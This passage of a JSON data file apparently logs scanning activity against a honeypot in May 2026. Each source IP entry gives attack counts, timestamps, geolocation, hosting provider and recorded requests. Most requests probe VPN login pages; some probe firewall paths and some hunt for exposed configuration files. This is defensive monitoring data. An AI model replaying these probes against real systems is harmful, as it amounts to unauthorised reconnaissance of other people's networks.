      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "68.235.46.68": {
      "attack_count": 51,
      "first_seen": "2026-05-05T19:06:11.313Z",
      "last_seen": "2026-05-30T10:34:22.215Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "193.138.218.202": {
      "attack_count": 44,
      "first_seen": "2026-05-08T13:17:51.429Z",
      "last_seen": "2026-05-30T14:00:31.122Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Malm\u00f6",
      "asn": 39351,
      "as_org": "31173 Services AB"
    },
    "68.235.46.161": {
      "attack_count": 39,
      "first_seen": "2026-05-04T11:36:26.815Z",
      "last_seen": "2026-05-29T21:31:06.340Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "173.249.252.76": {
      "attack_count": 36,
      "first_seen": "2026-05-10T08:30:17.398Z",
      "last_seen": "2026-05-30T10:10:18.800Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "87.249.134.29": {
      "attack_count": 33,
      "first_seen": "2026-05-04T19:25:38.936Z",
      "last_seen": "2026-05-30T12:14:03.833Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.234.115.68": {
      "attack_count": 30,
      "first_seen": "2026-05-02T03:15:30.099Z",
      "last_seen": "2026-05-29T13:34:45.289Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.210.20": {
      "attack_count": 30,
      "first_seen": "2026-05-05T00:49:33.223Z",
      "last_seen": "2026-05-30T13:15:36.404Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "172.121.241.212": {
      "attack_count": 28,
      "first_seen": "2026-05-26T02:34:37.276Z",
      "last_seen": "2026-05-30T13:33:15.953Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Las Vegas",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "103.251.27.68": {
      "attack_count": 27,
      "first_seen": "2026-05-08T11:30:36.914Z",
      "last_seen": "2026-05-29T03:29:52.210Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "138.199.43.97": {
      "attack_count": 24,
      "first_seen": "2026-05-04T22:56:56.560Z",
      "last_seen": "2026-05-26T06:05:21.602Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "155.2.191.132": {
      "attack_count": 24,
      "first_seen": "2026-05-07T12:43:26.992Z",
      "last_seen": "2026-05-25T22:17:42.094Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "23.234.98.76": {
      "attack_count": 24,
      "first_seen": "2026-05-06T01:52:33.916Z",
      "last_seen": "2026-05-23T05:19:35.885Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "130.49.72.222": {
      "attack_count": 21,
      "first_seen": "2026-05-27T17:58:01.692Z",
      "last_seen": "2026-05-31T03:21:14.535Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Walla Walla",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "141.133.45.61": {
      "attack_count": 21,
      "first_seen": "2026-05-27T04:24:52.753Z",
      "last_seen": "2026-05-30T12:47:56.594Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Gonzales",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "172.120.189.225": {
      "attack_count": 21,
      "first_seen": "2026-05-27T04:00:25.318Z",
      "last_seen": "2026-05-30T12:09:20.253Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "185.141.119.175": {
      "attack_count": 21,
      "first_seen": "2026-05-11T10:40:01.624Z",
      "last_seen": "2026-05-27T09:44:35.922Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Detroit",
      "asn": 207990,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "185.156.46.151": {
      "attack_count": 21,
      "first_seen": "2026-05-02T05:37:53.148Z",
      "last_seen": "2026-05-21T03:53:38.446Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "192.42.116.52": {
      "attack_count": 21,
      "first_seen": "2026-05-24T01:18:20.835Z",
      "last_seen": "2026-05-24T01:28:59.218Z",
      "ports": [],
      "event_types": [
        "\"GET /classes/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /components/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /config/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /configs/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /controllers/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /recordings/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/includes/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/locale/bg_BG/LC_MESSAGES/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/locale/bg_BG/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/locale/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/misc/config.all.php? HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology"
    },
    "23.234.101.80": {
      "attack_count": 21,
      "first_seen": "2026-05-05T17:11:25.544Z",
      "last_seen": "2026-05-30T02:11:37.335Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.73.81": {
      "attack_count": 21,
      "first_seen": "2026-05-04T18:37:23.599Z",
      "last_seen": "2026-05-30T03:07:38.798Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.92.195": {
      "attack_count": 21,
      "first_seen": "2026-05-03T13:28:37.532Z",
      "last_seen": "2026-05-25T14:27:35.799Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.99.39": {
      "attack_count": 21,
      "first_seen": "2026-05-02T00:04:49.280Z",
      "last_seen": "2026-05-30T09:27:22.898Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "45.134.142.200": {
      "attack_count": 21,
      "first_seen": "2026-05-05T02:41:14.329Z",
      "last_seen": "2026-05-31T01:32:46.930Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "185.156.46.149": {
      "attack_count": 18,
      "first_seen": "2026-05-02T06:14:37.398Z",
      "last_seen": "2026-05-29T11:11:35.085Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.234.93.24": {
      "attack_count": 18,
      "first_seen": "2026-05-05T20:52:40.021Z",
      "last_seen": "2026-05-25T21:11:02.903Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "152.32.181.210": {
      "attack_count": 16,
      "first_seen": "2026-05-26T18:32:25.928Z",
      "last_seen": "2026-05-26T18:33:26.911Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /config.json HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "\"GET /sitemap.xml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Dubai",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "146.70.165.70": {
      "attack_count": 15,
      "first_seen": "2026-05-25T23:31:36.312Z",
      "last_seen": "2026-05-29T09:34:23.584Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "146.70.211.96": {
      "attack_count": 15,
      "first_seen": "2026-05-11T09:30:52.816Z",
      "last_seen": "2026-05-24T02:59:04.118Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "185.141.119.146": {
      "attack_count": 15,
      "first_seen": "2026-05-03T18:45:38.836Z",
      "last_seen": "2026-05-14T06:31:35.705Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Detroit",
      "asn": 207990,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "23.234.110.200": {
      "attack_count": 15,
      "first_seen": "2026-05-08T19:00:20.488Z",
      "last_seen": "2026-05-25T11:08:19.714Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.82.148": {
      "attack_count": 15,
      "first_seen": "2026-05-05T02:19:36.949Z",
      "last_seen": "2026-05-22T20:09:48.944Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "142.111.176.246": {
      "attack_count": 14,
      "first_seen": "2026-05-26T05:21:09.894Z",
      "last_seen": "2026-05-27T08:38:47.223Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "142.252.104.93": {
      "attack_count": 14,
      "first_seen": "2026-05-26T10:50:43.020Z",
      "last_seen": "2026-05-29T20:23:23.333Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Francisco",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "166.88.153.24": {
      "attack_count": 14,
      "first_seen": "2026-05-26T14:24:38.776Z",
      "last_seen": "2026-05-27T04:06:13.611Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "172.120.248.134": {
      "attack_count": 14,
      "first_seen": "2026-05-27T11:05:08.510Z",
      "last_seen": "2026-05-29T07:27:12.220Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "50.118.198.112": {
      "attack_count": 14,
      "first_seen": "2026-05-29T18:30:19.619Z",
      "last_seen": "2026-05-31T02:09:41.107Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "64.62.197.182": {
      "attack_count": 14,
      "first_seen": "2026-05-07T10:41:23.967Z",
      "last_seen": "2026-05-07T10:47:53.823Z",
      "ports": [],
      "event_types": [
        "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
        "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
        "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
        "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /remote/logincheck HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.192": {
      "attack_count": 13,
      "first_seen": "2026-05-25T10:16:07.045Z",
      "last_seen": "2026-05-25T10:23:03.642Z",
      "ports": [],
      "event_types": [
        "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
        "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
        "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /remote/logincheck HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
        "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "103.81.231.68": {
      "attack_count": 12,
      "first_seen": "2026-05-10T07:36:53.792Z",
      "last_seen": "2026-05-27T18:49:26.997Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "23.234.106.213": {
      "attack_count": 12,
      "first_seen": "2026-05-02T07:14:36.247Z",
      "last_seen": "2026-05-16T01:50:16.135Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "74.82.47.4": {
      "attack_count": 10,
      "first_seen": "2026-05-26T00:29:39.357Z",
      "last_seen": "2026-05-26T00:35:09.312Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /remote/logincheck HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
        "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
        "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
        "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
        "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Gunnison",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "103.81.231.192": {
      "attack_count": 9,
      "first_seen": "2026-05-05T07:11:11.522Z",
      "last_seen": "2026-05-08T05:51:05.119Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "104.36.50.7": {
      "attack_count": 9,
      "first_seen": "2026-05-04T20:16:48.225Z",
      "last_seen": "2026-05-23T16:04:31.527Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "23.162.40.150": {
      "attack_count": 9,
      "first_seen": "2026-05-10T01:02:46.724Z",
      "last_seen": "2026-05-27T19:48:01.027Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 400882,
      "as_org": "Cyber Data LLC"
    },
    "23.234.71.67": {
      "attack_count": 9,
      "first_seen": "2026-05-04T10:37:49.312Z",
      "last_seen": "2026-05-10T10:05:05.004Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.89.207": {
      "attack_count": 9,
      "first_seen": "2026-05-05T01:39:50.914Z",
      "last_seen": "2026-05-17T01:33:02.367Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "68.235.46.172": {
      "attack_count": 9,
      "first_seen": "2026-05-05T14:50:55.984Z",
      "last_seen": "2026-05-07T13:17:51.350Z",
      "ports": [],
      "event_types": [
